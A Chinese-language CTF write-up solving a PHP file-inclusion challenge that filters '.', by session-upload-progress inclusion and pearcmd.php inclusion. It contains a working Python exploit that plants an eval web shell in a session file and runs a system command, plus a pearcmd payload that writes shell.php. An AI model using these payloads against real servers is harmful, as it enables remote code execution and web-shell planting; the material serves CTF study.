赞
踩
显然这是一道文件包含的题目。其中有一个waf,过滤了’.’,post的开头必须是a-z之间的字母。
其他方法都不太行,因为过滤了’.’且固定了file://的形式。
这道题有两个方法,分别是session文件包含和pear文件包含。
session文件包含其实就是客户端构造一个POST请求,同时数据包包含参数"PHP_SESSION_UPLOAD_PROGRESS",该参数会被短暂地包含进一个临时的session文件下,为session文件命名、上传后进行包含,就能执行文件中的内容。
直接上python脚本。
import requests
url="https://5f14ee60-a833-470e-a99e-2ede9df8e938.challenge.ctf.show/"
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[2]);?>',
'1':'localhost/tmp/sess_xiaokai',
'2':'system("cat /f*");'
}
files={
'file':'xiaokai'
}
cookies={
'PHPSESSID':'xiaokai'
}
response=requests.post(url=url,data=data,files=files,cookies=cookies)
print(response.text)
本题不需要条件竞争,有关条件竞争的可以看p神的博客:
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
有关pear文件包含详情也可以看p神的博客。
构造payload:
POST:1=localhost/usr/local/lib/php/pearcmd.php
这里的’.’本应该是被过滤的,但是不知道为什么就是可以被包含。有哪位懂的大佬可以评论区教我一下~
然后用bp抓以上payload的数据包。
这里显示shell.php被成功写入
直接利用
拿下flag!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。